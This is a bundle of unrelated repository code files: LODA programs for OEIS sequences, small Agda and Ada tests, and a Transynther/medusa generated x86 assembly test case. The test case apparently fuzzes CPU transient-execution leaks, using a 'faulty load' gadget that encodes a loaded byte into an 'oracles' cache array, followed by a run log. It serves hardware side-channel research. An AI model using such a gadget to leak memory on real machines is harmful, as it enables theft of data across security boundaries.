<filename>programs/oeis/153/A153365.asm ; A153365: Number of zig-zag paths from top to bottom of a rectangle of width 9 with 2n rows whose color is that of the top right corner. ; 8,28,100,360,1300,4700,17000,61500,222500,805000,2912500,10537500,38125000,137937500,499062500,1805625000,6532812500,23635937500,85515625000,309398437500,1119414062500,4050078125000,14653320312500 add $0,1 mov $1,3 mov $2,1 lpb $0 sub $0,1 add $1,$2 mov $2,$1 add $1,$3 add $1,$2 mul $3,2 add $3,$2 lpe
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca.log_21829_533.asm
ljhsiun2/medusa
9
161463
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r9 push %rax push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_A_ht+0x67a7, %rdx nop nop nop nop and $1852, %r12 mov $0x6162636465666768, %rdi movq %rdi, %xmm7 movups %xmm7, (%rdx) nop nop nop cmp $47865, %rax lea addresses_WT_ht+0x105a7, %rsi lea addresses_UC_ht+0xe2a7, %rdi nop nop nop sub %r9, %r9 mov $30, %rcx rep movsw nop nop nop nop nop and %r12, %r12 lea addresses_D_ht+0x10f1b, %rsi lea addresses_UC_ht+0xa3e7, %rdi clflush (%rsi) nop nop and %rax, %rax mov $15, %rcx rep movsb nop nop nop xor %rcx, %rcx lea addresses_normal_ht+0xe297, %rsi lea addresses_A_ht+0x162a7, %rdi nop nop nop cmp %rbx, %rbx mov $8, %rcx rep movsq nop add %rdi, %rdi lea addresses_A_ht+0x8fa7, %rdx sub %rax, %rax movl $0x61626364, (%rdx) nop nop xor %rsi, %rsi lea addresses_D_ht+0x12da7, %rdx nop nop nop nop cmp %rbx, %rbx movups (%rdx), %xmm7 vpextrq $0, %xmm7, %rcx nop inc %rbx lea addresses_D_ht+0x547, %rdx nop nop nop sub $13002, %r9 mov $0x6162636465666768, %rax movq %rax, %xmm7 vmovups %ymm7, (%rdx) add $26020, %rcx lea addresses_WT_ht+0x14707, %rsi lea addresses_WT_ht+0x159a7, %rdi nop sub $4256, %rbx mov $85, %rcx rep movsl nop nop nop cmp $14013, %rsi lea addresses_D_ht+0x9ba7, %rax nop sub $22319, %rdx mov (%rax), %r12w sub %rdx, %rdx lea addresses_WT_ht+0x8727, %rsi lea addresses_WC_ht+0xa4de, %rdi clflush (%rsi) dec %rax mov $126, %rcx rep movsq nop nop nop nop and $20752, %rdx lea addresses_WC_ht+0x1e267, %rsi lea addresses_D_ht+0x2387, %rdi clflush (%rdi) nop nop nop add %rax, %rax mov $116, %rcx rep movsw nop nop cmp %rax, %rax lea addresses_D_ht+0x173a7, %rcx nop sub %rsi, %rsi mov $0x6162636465666768, %rax movq %rax, (%rcx) nop nop and $61710, %rdx lea addresses_A_ht+0x6317, %rcx nop nop nop xor $34892, %r12 movw $0x6162, (%rcx) nop nop nop nop nop sub %rsi, %rsi lea addresses_D_ht+0xf27, %rsi lea addresses_WC_ht+0x143a7, %rdi nop nop nop nop nop mfence mov $108, %rcx rep movsq nop nop nop nop nop cmp $44933, %r12 lea addresses_WT_ht+0x17827, %rax nop nop add %r12, %r12 movw $0x6162, (%rax) inc %rcx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %rax pop %r9 pop %r12 ret .global s_faulty_load s_faulty_load: push %r12 push %r13 push %r14 push %r9 push %rbx push %rdi push %rsi // Load lea addresses_WT+0x1e9c4, %r9 nop nop and %r12, %r12 mov (%r9), %esi nop nop dec %r12 // Store mov $0x3a7, %r14 nop nop add $38880, %r13 movw $0x5152, (%r14) sub %rdi, %rdi // Store lea addresses_D+0x20a7, %r13 and %rdi, %rdi movb $0x51, (%r13) nop nop xor %r14, %r14 // Faulty Load lea addresses_PSE+0x5ba7, %r9 nop nop sub %r12, %r12 vmovups (%r9), %ymm0 vextracti128 $1, %ymm0, %xmm0 vpextrq $1, %xmm0, %r14 lea oracles, %r13 and $0xff, %r14 shlq $12, %r14 mov (%r13,%r14,1), %r14 pop %rsi pop %rdi pop %rbx pop %r9 pop %r14 pop %r13 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_PSE', 'same': False, 'AVXalign': False, 'congruent': 0}} {'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_WT', 'same': False, 'AVXalign': False, 'congruent': 0}} {'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_P', 'same': False, 'AVXalign': False, 'congruent': 2}} {'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_D', 'same': False, 'AVXalign': False, 'congruent': 6}} [Faulty Load] {'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_PSE', 'same': True, 'AVXalign': False, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_A_ht', 'same': True, 'AVXalign': False, 'congruent': 10}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 9}, 'dst': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 8}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_D_ht', 'congruent': 2}, 'dst': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 5}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 3}, 'dst': {'same': False, 'type': 'addresses_A_ht', 'congruent': 7}} {'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 5}} {'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_D_ht', 'same': True, 'AVXalign': False, 'congruent': 9}} {'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_D_ht', 'same': True, 'AVXalign': False, 'congruent': 5}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 2}, 'dst': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 7}} {'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 11}} {'OP': 'REPM', 'src': {'same': True, 'type': 'addresses_WT_ht', 'congruent': 7}, 'dst': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 0}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 6}, 'dst': {'same': False, 'type': 'addresses_D_ht', 'congruent': 5}} {'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 10}} {'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': True, 'congruent': 4}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_D_ht', 'congruent': 3}, 'dst': {'same': True, 'type': 'addresses_WC_ht', 'congruent': 11}} {'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 6}} {'33': 21829} 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 */
programs/oeis/093/A093467.asm
neoneye/loda
22
89393
; A093467: a(1) = 1, a(2) = 2; for n >= 2, a(n+1) = a(n) + Sum_{i = 1..n} (a(i) - a(1)). ; 1,2,3,6,14,35,90,234,611,1598,4182,10947,28658,75026,196419,514230,1346270,3524579,9227466,24157818,63245987,165580142,433494438,1134903171,2971215074,7778742050,20365011075,53316291174,139583862446,365435296163,956722026042,2504730781962,6557470319843,17167680177566,44945570212854,117669030460995,308061521170130,806515533049394,2111485077978051,5527939700884758,14472334024676222,37889062373143907,99194853094755498,259695496911122586,679891637638612259,1779979416004714190,4660046610375530310,12200160415121876739,31940434634990099906,83621143489848422978,218922995834555169027,573147844013817084102,1500520536206896083278,3928413764606871165731,10284720757613717413914,26925748508234281076010,70492524767089125814115,184551825793033096366334,483162952612010163284886,1264937032042997393488323,3311648143516982017180082,8670007398507948658051922,22698374052006863956975683,59425114757512643212875126,155576970220531065681649694,407305795904080553832073955,1066340417491710595814572170,2791715456571051233611642554,7308805952221443105020355491,19134702400093278081449423918,50095301248058391139327916262,131151201344081895336534324867,343358302784187294870275058338,898923707008479989274290850146,2353412818241252672952597492099,6161314747715278029583501626150,16130531424904581415797907386350,42230279526998466217810220532899,110560307156090817237632754212346,289450641941273985495088042104138,757791618667731139247631372100067,1983924214061919432247806074196062,5193981023518027157495786850488118,13598018856492162040239554477268291,35600075545958458963222876581316754,93202207781383214849429075266681970,244006547798191185585064349218729155,638817435613190341905763972389505494 mov $3,1 lpb $0 mov $1,$3 lpb $0 sub $0,$3 add $1,$2 add $2,$1 lpe lpe add $1,1 mov $0,$1
test/Test/NFTest.agda
yanok/normalize-via-instances
0
3004
<filename>test/Test/NFTest.agda<gh_stars>0 module Test.NFTest where open import Data.Nat open import Data.List open import Data.Product open import Test.Factorial open import NF open import NF.Nat open import NF.List open import NF.Product l : List (ℕ × ℕ) l = nf ((1 , factorial 1) ∷ (1 + 1 , factorial (1 + 1)) ∷ [] ++ (5 , factorial 5) ∷ [])
tests/nonsmoke/functional/CompileTests/experimental_ada_tests/tests/type_conversion.adb
ouankou/rose
488
26217
procedure Type_Conversion is X : Integer; Y : Positive; begin X := 1; Y := Positive (X); end Type_Conversion;